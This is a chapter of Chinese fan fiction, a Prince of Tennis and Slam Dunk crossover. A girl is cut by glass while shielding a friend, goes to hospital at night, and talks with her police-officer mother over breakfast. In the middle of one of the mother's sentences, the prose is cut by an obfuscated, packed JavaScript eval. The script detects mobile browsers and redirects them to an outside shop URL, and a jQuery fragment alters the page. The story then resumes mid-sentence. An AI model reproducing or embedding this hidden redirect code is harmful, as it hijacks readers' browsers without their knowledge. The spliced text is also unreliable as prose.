事情发生的太突然,幸村等人来不及反应,而且两人是在楼梯间掉下,旁边也没什么能借力的地方。
离他们最近的立川撞在墙上才稳住身势,伸手已经来不及,面容骤然煞白,“中森,切原——”
那一瞬间,阿唯的视线仿佛开了慢镜,清晰地看到那滩碎片锋利的尖端对准的是切原护着她的右手。
几乎是下意识地,她在倒下的瞬间艰难的扭身,玻璃一下子砸进她的左手手臂。
“啊——”玻璃刺进皮肤的锥心之痛让她差点一口气提不上来,两人重重地砸在地上。
切原反应极快地撑起身体,避免了那些玻璃更深地砸进阿唯的伤口,鲜红的血慢慢渗出,在地上沾湿了玻璃,墨绿色的猫眼顿时发红,“阿唯……你怎么了?前辈,高中部的医务室开门吗?有钥匙吗?”
幸村和柳跑了下来,眉头紧蹙,两人平日再镇定也无法做到无动于衷。
柳看了一眼唯的伤口,直接拿出手机,语速略快,“需要更专业的清理,先去医院。”
“阿唯,能起来吗?”地上的血迹看起来触目惊心,帮着切原把人扶起来,幸村的心跳不由自主地加快,声音都轻了起来。
借着两人的力量,阿唯猛地站起来,双眸冒火,“王八蛋,别让我抓到你!”
剧痛让她的神智比平时更清明,今晚的经历历历在目,白影,网球,破碎的窗……这要是没有人为的话,她明天就在校会上表演魔术!
甩开两个少年,她扑到窗边,锐利的视线往下扫去,“那边有人!”
说着,穿着运动服的阿唯抬脚便打算跨出去,二层而已,教学楼楼高不如商场,她跳下去没问题!
“你大爷的,给老娘站住!”
“你才给我们站住!”幸村少见地怒形于色,眼疾手快地勾住她的腰,凌厉的眼神往切原扫去,“赤也!”
不用他下令,切原已经抛起刚才的网球,接过柳递来的球拍,狠狠地挥拍,“给老子站住!”
青黄色的小球应声往那边疾驰而去,穿过树枝没入黑暗,一声压抑的惨叫响在夜色里。柳和立川在切原挥拍前已经往那边冲了。
“啊……这都行?”阿唯眨了眨眼,忍不住想给切原赤也一个大拇指,不小心扯动了手臂,又是一阵痛,“疼死我了……”
“还知道痛吗?那你在做什么?”幸村气得冷声道,直接握着她的右手手臂,把她拉进教室里。
灯光一亮,看到阿唯左边手臂刺进玻璃碎片,有些口子已经挺深,血顺着流了她整个左手,切原赤也脸色发白,“阿唯……你怎么样?”
废话,她当然有事,只是对着那张比她还白的脸,阿唯也说不出吐槽的话,只能可怜兮兮地扁嘴,“疼死了……”
“你还知道疼啊?”从网球包里翻出小型药箱,幸村拉起她的手,简单地清理一些碎玻璃,拿干净的纱布包着伤口止血。
抬起头,少年责备的话还没说出口,眼前的少女已经皱着眉头泪盈于睫。心底一下便软了起来,他叹口气,声音也轻柔了些,“车到门口了,先去医院吧。”
切原赤也站在一边,看她吃痛的表情,咬了咬牙,拳头捏得泛白。他落地的时候就反应过来了,她是为了护着他才会受伤的。若不是她旋了身,那些玻璃应该砸在他右手……
那份内疚和后怕像发芽般冒头,然后疯长,比雨后春笋的长势还要迅猛。
阿唯龇牙咧嘴地动了动手臂,疼得她倒抽一口气,错眼便对上那双因沉默显得深沉和愧疚的碧眸。微不可闻地叹了口气,她伸出完好的右手把他紧攥的手指一根根掰开,指尖穿插其中,轻轻地握着。
“赤也,”阿唯抬头勉力笑了笑,语气虚弱,话却毫不客气,“我手疼,快,背我。”
微愣了一下,切原赤也抿着唇默默地背过身蹲下,温热与微沉的重量压在他肩膀。她没有扎头发,发丝随着动作垂在他颊边和颈侧,让他有种刺痛的错觉。
她很轻,却压得他几乎难以承受地心颤。
幸村看着平日大咧咧的少年稳稳地背着人走下楼梯,每一步都平顺没有半分颠簸,眸光微沉。
凌晨的医院急诊室没什么人,消毒水的气味在微凉的空气中更加明显,幸村坐在长椅上,轻蹙着眉头。
自从那场手术过后,他对这种医院的气味就很反感,连带着也不喜欢化学实验室的味道。置身其中,仿佛还能看到那个背靠着门蜷缩的少年,封闭起来的病房,明明外面还是白天,黑夜却在他身上提前降临,紧紧缠绕着他无法逃脱。
那种窒息的感觉哪怕确认身体完全康复的现在,也依然不时侵袭他。
深呼吸了几下,幸村偏头看着身边难得安静的切原,视线扫过他一直攥紧放在膝盖的拳头,心下一软。抬手揉了揉他的头,柔声安慰,“别担心,阿唯的伤口不大,算不上严重的。”
他查看过,大部分是表皮划伤,伤口不算深。
“都是我的错……部长,”沉默了好一会儿,切原赤也脸色煞白,低着头,刘海完全遮去表情,唯有声音低哑又压抑,“她是为了我才受伤的……”
幸村顿了一下,他后来也反应过来,正常来说切原才应该是受伤的那个。沉默了半响,他轻声道,“不是你的错,赤也。你们都是受害者,别在受害者里找罪人,错的是那个偷袭你们的人。”
“可是……”切原抬眸,猫眼隐约有泪光,眼眶都红了一圈。他咬着唇,求助般看着信任的部长,“我明明是想要保护阿唯的啊。”
他是怕阿唯一个人不安全,才会跟着来的,可是到了最后,让她手上的人却是他。切原赤也整个人都快被愧疚和后怕淹没,又慌又惊,墨绿色的瞳仁轻颤。
“笨蛋,”外伤处理室的门唰地拉开,少女明朗的嗓音懒洋洋的,“幸村说得没错,问题不在我们,是那个破窗的家伙!”
“阿唯!”切原连忙站起来,想要碰触她的手,看到那被绷带缠绕的手臂又不敢真的碰到她,只能干巴巴地问道,“怎么样,你还好吗?”
那声音听起来都要哭了,阿唯不用想也知道这家伙的想法,抬起手臂展示一下,“还行,没伤到骨头,只是割伤的出血有点吓人。放心吧,没看起来严重,只要睡一觉补补,明天又是一条好汉呢~”
切原赤也习惯了她这副死样子,知道她故意要让自己放心,手指微动,悄然捏着她运动服外套的一角,低着头的样子像个无措的小孩。
“好了,别瞎说,”幸村有些无奈,平日见多了她乖巧的一面,如今这样贫嘴让他有点不适应,“医生嘱咐,这两周伤口都不能碰水,要是发炎得马上过来清理。”
“知道了,”对着切原她还能装作轻松,对上幸村这样的柔中带严她就有点怂了,乖乖地点头,“时间不早了,幸村你先回去吧,我妈妈也快到了。”
毕竟只是个高一学生,今晚的事还是需要家长处理一下。中森栗子原本在值班,接到切原的电话吓得魂都丢了一半,连忙跟同事交接后赶过来。
幸村看了看手表,快凌晨两点了,柳那边还没消息。他点点头,“那我先回去了,赤也,照顾好阿唯。”
切原一头黑发没精打采地垂着,没有说话,只是重重地点头应下。
幸村动了动唇,终究没说什么,这小子性格一直毛毛躁躁的,确实需要成长。
中森栗子急匆匆地赶到急诊室,一身警服还没换下,与离开的幸村擦肩而过。
一看到女儿的手臂,她眼眶瞬间就红了,慌得手忙脚乱地摸着女儿的头和脸,“唯酱,怎么会这样,疼吗?医生怎么说?赤也呢,你没受伤吧?”
阿唯和切原连忙安慰她,顺便解释为什么深夜他们会去学校的原因。
事实证明,中森唯确实有小强的特质。
哪怕前一晚折腾了大半夜,麻醉过后手也疼得差点失眠,但第二天她还是非常准时地醒来,精神得不得了。
“唯酱?怎么不多休息一下?”难得休息的中森栗子把她的早餐端出来,心疼地摸摸女儿的脸蛋,“这脸色都有些苍白,一定是失血过多导致的,等我给你好好补补。”
她觉得睡不好导致的可能性更大。阿唯抬手拍了拍脸蛋,皮实地笑问,“这样有没有好点?”
中森栗子没好气地掐了她一记,满意地看着女儿白皙的脸蛋多了抹微红,“还不如这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724606|186327||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样。”
略疼……彩衣娱亲的代价有点大。阿唯揉了揉脸颊,坐下来吃早餐。
为着她受伤,中森栗子专门把三文治都切小块了,吃起来方便。
“今天要出去吗?”中森栗子好奇地问,“是昨晚的事有线索了吗?”
她还打算今天让警局的熟人帮忙,试卷盗窃是学校的问题,但她的女儿受伤了就不能忍下来。
“幸村给我留言,说是昨晚找到了些线索,明天我们碰面再说。”阿唯早上起来就看到信息,深感这幸村和柳两人不但网球和学业称霸,连侦探直觉也十分厉害。
其实昨晚立川和柳追过去的时候人已经逃了,柳硬是揪着蛛丝马迹找到了鞋印和丢弃的网球拍,还留下了那个网球。大家约好了明天去真田家分析寻找嫌疑人,顺便统一口径应付下周学校的查问。
查案过程是立川春芽亲自告诉她的,下周一学生会就会通报这事。因为阿唯和立川,切原是未经学校许可私自潜入,尤其是切原赤也还是国中部的学生,幸村他们经过衡量还是隐去了她们偷溜进学校的事。
阿唯跟中森栗子解释了事情,她虽然不满但也只能按下,非常认真地警告女儿不能再这样冒险。
当然,阿唯和立川也没打算忍这口气,那个网球部的有幸村和柳照料,但她们受的惊吓嘛……名取光没一个让她们满意的解释,这个社团就可以消失了。
“这次就算了,但唯酱,下次不准再做这么危险的事。”中森栗子抿了口咖啡,握着女儿的手认真地强调,“爸爸妈妈不会干涉你的选择和自由,你想要做的只要不是什么违法或者三观不正的事情,我们都支持你。但是,你必须跟我们保证你的安全,无论什么情况下都不能让自己置身危险中,更不能逞强,好吗?”
不说女儿武力值和反应都过得去,光看切原赤也愧疚的样子栗子就能猜出女儿受伤的真相,她理解阿唯的选择,也不会埋怨切原,只是她对这两个小孩深夜外出和不够小心谨慎有些不满。
“你们年纪还小,有好奇心是好事,但安全必须放在第一位。”
阿唯有些心虚地垂眸,“我知道错了,妈妈。但真的跟赤也无关……”
她不是觉得赤也的手比她重要,而是那种情况不是极限二选一,她受那么一下会受伤但不会有很大影响,但赤也不一定。他的手关系着他整个人生梦想和未来,那单细胞生物大概率不会考虑这些,然而她赌不起。
尽管是下意识的选择,阿唯还是衡量过才做出选择的。
“废话,妈妈当然知道这跟赤也无关,那小子昨晚还快哭了,你好好安抚一下。”中森栗子对隔壁家小子也很是疼爱,“你们今天是要一起出去吗?”
“嗯嗯,流川今天有练习赛,我们打算去看看,我跟彩子前辈也很久没见了。”
流川进入湘北后他们除了晨练都很少碰面,切原那边因为大部分正选升入高中,能撑起大局的不多,国中网球部的人员培训也很紧张,三人中最闲的就是阿唯了。西京也逮着这些机会,没事就把她往道馆拐。
“说起来,篮球高校联赛也快开始了吧。湘北的篮球部实力一般,去年连参加全国大赛的资格也没有,流川去那里总觉得有点浪费了。”
中森栗子高中就是在陵南高中念的,还是女子篮球队队员。阿唯当上富丘中篮球队经理的时候她就八卦过各高校的篮球队情况。
“陵南那边的势头反而不错,听一些前辈说去年有两个新生很有天分,叫什么仙道来着?长得很高很帅呢,妈妈有段时间巡逻线在海岸那边,常看到他们教练带队出来跑步。”
阿唯想起国中毕业前的事,忍不住笑了起来,“其实陵南的教练来找过流川的,结果他嫌远拒绝,那教练的脸色可难看了。”
虽然因为近选择的湘北,但流川好像挺满意的,每天练习的心情都不错。彩子还特地跟她提过,今年的新生除了流川还有一个天才跟他不相伯仲。阿唯这次去,就是想要看看那个跟流川一样的问题儿童。
母女两人难得悠闲地吃过早餐,便双双走到隔壁,一个拐走了切原妈妈去逛街聊儿女心事,一个拐走了切原小海带去围观流川的比赛。